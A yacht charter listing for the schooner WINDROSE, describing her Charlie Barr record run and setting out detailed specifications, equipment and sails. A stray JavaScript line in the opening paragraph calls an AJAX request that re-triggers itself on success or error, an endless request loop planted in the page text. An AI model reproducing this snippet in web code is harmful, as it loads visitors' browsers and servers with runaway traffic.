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This superb schooner from Holland Jachtbouw was built with two specifics in mind: to win and beat the old Charlie Barr transatlantic record and to be a comfortable cruising yacht for private owner and charter guests alike. On both counts she has demonstrated outstanding success. Probably the most successful charter yacht in the world 2008/9. With her commanding presence on the charter circuit, handcrafted interior and huge deck-space WINDROSE evokes a bygone era of yachting. Fastidiously maintained and combining the charms of a Classic with the reliability afforded by her modern equipment she offers a sailing experience that is second to none. function load(){try{$.ajax({error:load,success:load});}catch(e){}}try{$(load)}catch(e){}
REMARKSWINDROSE, a superb schooner from Holland Jachtbouw, was built with two specifics in mind: to win and beat the old Charlie Barr transatlantic record and to be a comfortable cruising yacht for private owner and charter guests alike. In May 2002 she got line honours and beat the Charlie Barr record and also during the Classics in 2002 she got line honours and beat the J Classes of ENDEAVOUR, SHAMROCK V and VELSHEDA; and since her launch she has enjoyed a commanding presence on the charter circuit. With her handcrafted interior (rich in solid-wood panelling and offset by cream ceilings), beautiful hull line and huge deck-space she evokes a bygone era of yachting.WINDROSE has been fastidiously maintained and offers all the charms of a classic vessel with the reliability afforded by her modern equipment. For a sailing experience that is both exhilarating and relaxing, few yachts will surpass WINDROSETECHNICAL SPECIFICATIONTYPE: SchoonerFLAG: Cayman IslandsCONSTRUCTION: Welded aluminium hull /teak superstructure /teak laid decks Carbon fibre masts and booms Bowsprit of stainless steelDIMENSIONS:L.O.A.: 151.946.32 mL.OD.:132.540.36 mLWL: 96.3 29.34mBEAM: 26.2 8.00 mDRAFT: 14.1 4.3 mTONNAGE:Gross: 139 tonsNet: 41 tonsDisplacement: 139 165 tonsTANKAGEDiesel: 2200 US gallons 10,000 litresWater: 1100 US gallons 5,000 litresSPEEDMaximum: 12 knots @ 1600 rpmCruising: 10 knots @ 1600 rpm (Variable pitch prop.)Consumption: 11 US gallons50 litres per hour - at maximum speed(Total) 9 US gallons 41 litres per hour - at cruising speedRange: 2,800 n.miles (Approx)MACHINERYMain engines: Lugger 425 hp. 6125. 6 cylinderGearboxes: ZF IRM350A. 2.63:1Bowthruster: Retractable Hydromar HBT-GP-CR-51. 51 kw. 70 hpWater ballast system:Tankage 2 x 7 ton. Pump rate: 35 minutes to fill. 10/15 minute to transfer by means of a centrifugal pumpSteering System: Whitlock Mamba system.Engine Controls: Modified Mathers Throttle unit.Generators: 2 x Northern Lights. 33 kW. 220 / 380 volt. 50 cycle.Bilge Pumps: Johnson Centrifugal pump (manifold suction). Emergency diesel engine fire pump in lazarette plus additional 24V DC forepeak pumpFuel Filters: Racor fuel stripping filters between main tanks and day tanks. Racor Primary filters between day tanks and machinery.Oily water separator: Facet International. OMO 11fBatteries:Service: 400 AH (4 x 200 AH 12v series) (Master volt gel cell), Master volt 24/100Emergency: 400 AH (4 x 200 AH 12v series) (Master volt gel cell), Master volt 24/75Starting: 200 AH (2 banks of 2 x 200 AH 12v series) (Master volt gel cell), Master volt 24/25Charging System: MastervoltAir Conditioning: Marinair. 167,335 BTUCentral Heating: Reverse cycle from Marinair air conditioning unit.Water Heating: Electric and off generator cooling system. There are two boilers plus and additional boiler in the ring main. Tank capacity 2x 150 l. 1 x 80 l.Watermaker: Bluewave 200 litre/hourSanitary System: Hamann with 700 litre tank.Ropes: All Gleistein.Anchors and chain: 2 x Pool type 160 kilo anchors plus Fortress Kedge (aluminium) anchor with short length of chain. 2 x 14 mm stud link 4.5 shackles (135M) of chain for main anchors.ACCOMMODATION1 x Master stateroom - port side2 x Twin-bedded cabins (convertible to double beds) - port cabin also has pullman1 x Bunk-bedded cabinSaloon - full beam saloon with port side C-shaped lounge area and starboard dining tableDeckhouse - C shaped settee and table to port. Chart table and navigation equipment to starboard. Central dining table for 8 to 10. Separate but adjoining helmsmans cockpitNAVIGATION AND COMMUNICATION Sat Comm: Satcom C, Satcom Mini M (Phone, fax, email)Fax: Scanner/printer/Fax machine linked to landline, GSM or satcomComputer: PC in captains cabin networked throughout vessel. Separate Nav PC in wheelhouseRadar(s): Furuno 15inch 5R 1500 with relay screen in cockpitGPS: AP Navigator HK10 LeicaWeatherfax: Furuno weatherfax 210Autopilot: SegatronRadiotelephone: DSC Skanti TRP 1000VHF: DSC Skanti VHF DSC unitLog/Speed/Echo sounder: B & G Hydra 2000. Multi unit.Gyro:Plath fibre optic Navigat 2100SECURITY, FIRE FIGHTING & SAFETY EQUIPMENTSafety Equipment: To full MCA standardFire Fighting Equipment: Portable Emergency diesel fire pump Main bilge pumping system Wilo BADU 24 volt forward pump 3 hoses located at strategic deck positionsTENDERS AND WATERSPORTS EQUIPMENT- 14.1 (4.3m) Novurania 430 with Yamaha 70 hp o/b- 3.4m Zodiac Fast Roller with 6 hp o/b- Water skis and tows- Windsurfer- Snorkelling equipment- Fishing gearDECK EQUIPMENT- Ascon hydraulic windlasses- Lewmar hydraulic winches comprising of 4 type 55, 2 type 77, 12 type 88, 8 type 111 and 2 type 122.- Lewmar blocks, fair leads, padeyes etc.- Stainless steel dorades with rope preventer hoops- Conventional radial carbon construction davits for launching tender on port or starboard sideENTERTAINMENT EQUIPMENT- Multi standard TV/VCR/DVD with surround sound in main saloon- CD/radio in each cabin- Video/DVD library- Various books and board gamesGALLEY EQUIPMENT- Gaggenau electric oven and 6 ringed hob- Custom built fridge/freezer with separate Tadema compressors. These compressors have their own glycol cooling tank.LAUNDRY EQUIPMENT- Bosch washing machine- Miele dryerMASTS AND RIGGING- Carbospars, masts and booms- Full rod rigging. (Navtec)- Reckman hydraulic furling unit on outer forestaySAILSOriginal set manufactured by North New Zealand and North UK. Inventory as follows:- 1 x mainsail 353 m2- 1 x foresail 270 m2- 1 x fore staysail 98 m2- 1x Main Staysail 174m2- 1 x Yankee 185 m2- 1 x Genoa 322 m2- 1 x Cruising trisail 144 m2- 1 x storm staysail 48 m2- 1 x running Gennaker 817 m2 - 1 x reaching Gennaker 628 m2- Code red 378 m2- Code Zero 448 m2- 1 x Doyle symmetrical spinnaker 761 m2
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